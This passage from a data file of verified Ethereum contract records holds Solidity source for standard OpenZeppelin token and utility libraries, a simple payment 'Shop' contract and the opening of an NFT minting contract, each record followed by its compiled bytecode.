_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638ade6b12116100715780638ade6b12146101425780638da5cb5b1461014b5780639b46a16114610166578063bcbc162314610186578063ea5f292a14610199578063f2fde38b146101b957600080fd5b80632eebe78e146100b9578063652ef099146100db578063715018a6146100f25780637726bed3146100fc5780638051f09d1461010f57806382f9b06914610122575b600080fd5b6005546100c69060ff1681565b60405190151581526020015b60405180910390f35b6100e460035481565b6040519081526020016100d2565b6100fa6101cc565b005b6100fa61010a366004610749565b610249565b6100fa61011d366004610781565b610286565b6100e4610130366004610722565b60086020526000908152604090205481565b6100e460045481565b6000546040516001600160a01b0390911681526020016100d2565b6100e4610174366004610722565b60076020526000908152604090205481565b6100fa610194366004610781565b610322565b6100e46101a7366004610722565b60066020526000908152604090205481565b6100fa6101c7366004610722565b610387565b6000546001600160a01b031633146101ff5760405162461bcd60e51b81526004016101f6906107e8565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146102735760405162461bcd60e51b81526004016101f6906107e8565b6005805460ff1916911515919091179055565b60055460ff1661029557600080fd5b6001546102ad906001600160a01b0316333084610471565b33600090815260066020526040812080548392906102cc90849061081d565b9091555050600354600090670de0b6b3a7640000906102eb9084610855565b6102f59190610835565b3360009081526008602052604081208054929350839290919061031990849061081d565b90915550505050565b60055460ff1661033157600080fd5b600254610349906001600160a01b0316333084610471565b336000908152600760205260408120805483929061036890849061081d565b9091555050600454600090670de0b6b3a7640000906102eb9084610855565b6000546001600160a01b031633146103b15760405162461bcd60e51b81526004016101f6906107e8565b6001600160a01b0381166104165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526104cb9085906104d1565b50505050565b6000610526826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166105a89092919063ffffffff16565b8051909150156105a357808060200190518101906105449190610765565b6105a35760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016101f6565b505050565b60606105b784846000856105c1565b90505b9392505050565b6060824710156106225760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b60648201526084016101f6565b843b6106705760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016101f6565b600080866001600160a01b0316858760405161068c9190610799565b60006040518083038185875af1925050503d80600081146106c9576040519150601f19603f3d011682016040523d82523d6000602084013e6106ce565b606091505b50915091506106de8282866106e9565b979650505050505050565b606083156106f85750816105ba565b8251156107085782518084602001fd5b8160405162461bcd60e51b81526004016101f691906107b5565b600060208284031215610733578081fd5b81356001600160a01b03811681146105ba578182fd5b60006020828403121561075a578081fd5b81356105ba816108b6565b600060208284031215610776578081fd5b81516105ba816108b6565b600060208284031215610792578081fd5b5035919050565b600082516107ab818460208701610874565b9190910192915050565b60208152600082518060208401526107d4816040850160208701610874565b601f01601f19169190910160400192915050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610830576108306108a0565b500190565b60008261085057634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561086f5761086f6108a0565b500290565b60005b8381101561088f578181015183820152602001610877565b838111156104cb5750506000910152565b634e487b7160e01b600052601160045260246000fd5b80151581146108c457600080fd5b5056fea2646970667358221220b94cbcd06fb5ae45df1b559fd43d8804d133f18d703a53756d2f0898f4d9819864736f6c63430008040033
[ 38 ]
0xF26972aB7B7538bC37a6604f2D99eeEDCc0882Ba
/** *Submitted for verification at Etherscan.io on 2022-02-10 */ /** *Submitted for verification at Etherscan.io on 2022-02-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract Shop { using SafeMath for uint256; address public owner; mapping (uint256 => bool) purchasedTickets; constructor() { owner = msg.sender; } function buyItem(uint256 _price, uint256 _appFeePercentage, address payable _seller, uint256[] memory _voucher_ids) public payable returns(bool){ require(msg.value >= _price, "You should send over price"); _seller.transfer(msg.value.mul(100 - _appFeePercentage).div(100)); for (uint256 i = 0; i < _voucher_ids.length; i++) { purchasedTickets[_voucher_ids[i]] = true; } return true; } function withdraw() public returns(bool){ require(msg.sender == owner, "You are not owner of the contract"); address payable _owner = payable(msg.sender); _owner.transfer(address(this).balance); return true; } function setOwnerShip(address _newOwner) public returns(bool) { require(msg.sender == owner, "You are not owner of the contract"); owner = _newOwner; return true; } function contains(uint256[] memory _voucher_ids) public view returns (bool){ bool contained = true; for (uint256 i = 0; i < _voucher_ids.length; i++) { if (!purchasedTickets[_voucher_ids[i]]){ contained = false; } } return contained; } }
0x60806040526004361061004a5760003560e01c8063392235111461004f5780633ccfd60b1461008c5780638da5cb5b146100b7578063a29f085c146100e2578063c0549faf14610112575b600080fd5b34801561005b57600080fd5b5061007660048036038101906100719190610621565b61014f565b60405161008391906107e5565b60405180910390f35b34801561009857600080fd5b506100a1610229565b6040516100ae91906107e5565b60405180910390f35b3480156100c357600080fd5b506100cc61030e565b6040516100d991906107ca565b60405180910390f35b6100fc60048036038101906100f7919061068b565b610332565b60405161010991906107e5565b60405180910390f35b34801561011e57600080fd5b506101396004803603810190610134919061064a565b610486565b60405161014691906107e5565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101d790610800565b60405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b190610800565b60405180910390fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610305573d6000803e3d6000fd5b50600191505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600084341015610377576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036e90610820565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc6103c360646103b58860646103a69190610939565b3461052090919063ffffffff16565b61053690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156103ee573d6000803e3d6000fd5b5060005b8251811015610479576001806000858481518110610439577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610471906109c7565b9150506103f2565b5060019050949350505050565b6000806001905060005b835181101561051657600160008583815181106104d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060009054906101000a900460ff1661050357600091505b808061050e906109c7565b915050610490565b5080915050919050565b6000818361052e91906108df565b905092915050565b6000818361054491906108ae565b905092915050565b600061055f61055a84610871565b610840565b9050808382526020820190508285602086028201111561057e57600080fd5b60005b858110156105ae5781610594888261060c565b845260208401935060208301925050600181019050610581565b5050509392505050565b6000813590506105c781610a9d565b92915050565b6000813590506105dc81610ab4565b92915050565b600082601f8301126105f357600080fd5b813561060384826020860161054c565b91505092915050565b60008135905061061b81610acb565b92915050565b60006020828403121561063357600080fd5b6000610641848285016105b8565b91505092915050565b60006020828403121561065c57600080fd5b600082013567ffffffffffffffff81111561067657600080fd5b610682848285016105e2565b91505092915050565b600080600080608085870312156106a157600080fd5b60006106af8782880161060c565b94505060206106c08782880161060c565b93505060406106d1878288016105cd565b925050606085013567ffffffffffffffff8111156106ee57600080fd5b6106fa878288016105e2565b91505092959194509250565b61070f8161096d565b82525050565b61071e81610991565b82525050565b600061073160218361089d565b91507f596f7520617265206e6f74206f776e6572206f662074686520636f6e7472616360008301527f74000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610797601a8361089d565b91507f596f752073686f756c642073656e64206f7665722070726963650000000000006000830152602082019050919050565b60006020820190506107df6000830184610706565b92915050565b60006020820190506107fa6000830184610715565b92915050565b6000602082019050818103600083015261081981610724565b9050919050565b600060208201905081810360008301526108398161078a565b9050919050565b6000604051905081810181811067ffffffffffffffff8211171561086757610866610a6e565b5b8060405250919050565b600067ffffffffffffffff82111561088c5761088b610a6e565b5b602082029050602081019050919050565b600082825260208201905092915050565b60006108b9826109bd565b91506108c4836109bd565b9250826108d4576108d3610a3f565b5b828204905092915050565b60006108ea826109bd565b91506108f5836109bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561092e5761092d610a10565b5b828202905092915050565b6000610944826109bd565b915061094f836109bd565b92508282101561096257610961610a10565b5b828203905092915050565b60006109788261099d565b9050919050565b600061098a8261099d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109d2826109bd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610a0557610a04610a10565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610aa68161096d565b8114610ab157600080fd5b50565b610abd8161097f565b8114610ac857600080fd5b50565b610ad4816109bd565b8114610adf57600080fd5b5056fea264697066735822122085e826e5811e63f535696f886debac915e7e64c5db41a183cddd91ecbda2360d64736f6c63430008000033
[ 38 ]
0xf26a035eb240de3624cf2d4071387e5be5f57f77
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; contract TheArityNFT is ERC721 { event Mint(address indexed from, uint256 indexed tokenId); modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } modifier onlyCollaborator() { bool isCollaborator = false; for (uint256 i; i < collaborators.length; i++) { if (collaborators[i].addr == msg.sender) { isCollaborator = true; break; } } require( owner() == _msgSender() || isCollaborator, "Ownable: caller is not the owner nor a collaborator" ); _; } modifier claimStarted() { require( startPublicClaimDate != 0 && startPublicClaimDate <= block.timestamp, "Public sale is not open" ); _; } modifier presaleStarted() { require( startPresaleDate != 0 && startPresaleDate <= block.timestamp, "Presale is not open" ); _; } modifier genesisSaleStarted() { require( startGenesisSaleDate != 0 && startGenesisSaleDate <= block.timestamp, "Genesis sale is not open" ); _; } modifier onlyPresaleWhitelisted() { require(presaleWhitelistedAddresses[msg.sender] == true, "You are not whitelisted for presale"); _; } modifier onlyGenesisWhitelisted() { require(genesisWhitelistedAddresses[msg.sender] == true, "You are not whitelisted for genesis sale"); _; } struct Collaborators { address addr; uint256 cut; } uint256 private startGenesisSaleDate = 1646838000; uint256 private startPublicClaimDate = 1649516400; uint256 private startPresaleDate = 1649516400; uint256 private genesisSaleMintPrice = 277000000000000000; uint256 private publicMintPrice = 277000000000000000; uint256 private presaleMintPrice = 277000000000000000; uint256 public genesisMintedTokens = 0; uint256 public totalMintedTokens = 0; uint256 public presaleMintedTokens = 0; uint256 private maxArityTokensPerTransaction = 25; uint128 private basisPoints = 10000; string private baseURI = ""; uint256 public giveawayCount = 0; uint256 public genesisSaleLimit = 1000; uint256 public presaleLimit = 2000; mapping(address => uint256) private claimedArityTokenPerWallet; uint16[] availableArityTokens; Collaborators[] private collaborators; mapping (address => bool) presaleWhitelistedAddresses; mapping (address => bool) genesisWhitelistedAddresses; constructor() ERC721("TheArityNFT", "ARIT") {} // ONLY OWNER /** * Sets the collaborators of the project with their cuts */ function addCollaborators(Collaborators[] memory _collaborators) external onlyOwner { require(collaborators.length == 0, "Collaborators were already set"); uint128 totalCut; for (uint256 i; i < _collaborators.length; i++) { collaborators.push(_collaborators[i]); totalCut += uint128(_collaborators[i].cut); } require(totalCut == basisPoints, "Total cut does not add to 100%"); } // ONLY COLLABORATORS /** * @dev Allows to withdraw the Ether in the contract and split it among the collaborators */ function withdraw() external onlyCollaborator { uint256 totalBalance = address(this).balance; for (uint256 i; i < collaborators.length; i++) { payable(collaborators[i].addr).transfer( mulScale(totalBalance, collaborators[i].cut, basisPoints) ); } } /** * @dev Sets the base URI for the API that provides the NFT data. */ function setBaseTokenURI(string memory _uri) external onlyCollaborator { baseURI = _uri; } /** * @dev Sets the claim price for each arity token */ function setPublicMintPrice(uint256 _publicMintPrice) external onlyCollaborator { publicMintPrice = _publicMintPrice; } /** * @dev Sets the presale claim price for each arity token */ function setPresaleMintPrice(uint256 _presaleMintPrice) external onlyCollaborator { presaleMintPrice = _presaleMintPrice; } /** * @dev Sets the genesis sale claim price for each arity token */ function setGenesisSaleMintPrice(uint256 _genesisSaleMintPrice) external onlyCollaborator { genesisSaleMintPrice = _genesisSaleMintPrice; } /** * @dev Sets the date that users can start claiming arity tokens */ function setStartPublicClaimDate(uint256 _startPublicClaimDate) external onlyCollaborator { startPublicClaimDate = _startPublicClaimDate; } /** * @dev Sets the date that users can start claiming arity tokens for presale */ function setStartPresaleDate(uint256 _startPresaleDate) external onlyCollaborator { startPresaleDate = _startPresaleDate; } /** * @dev Sets the date that users can start claiming arity tokens for genesis sale */ function setStartGenesisSaleDate(uint256 _startGenesisSaleDate) external onlyCollaborator { startGenesisSaleDate = _startGenesisSaleDate; } /** * @dev Sets the presale limit for presale */ function setPresaleLimit(uint256 _presaleLimit) external onlyCollaborator { presaleLimit = _presaleLimit; } /** * @dev Sets the genesis sale limit for genesisSale */ function setGenesisSaleLimit(uint256 _genesisSaleLimit) external onlyCollaborator { genesisSaleLimit = _genesisSaleLimit; } /** * @dev Sets the giveaway count */ function setGiveawayCount(uint256 _giveawayCount) external onlyCollaborator { giveawayCount = _giveawayCount; } /** * @dev Sets the max 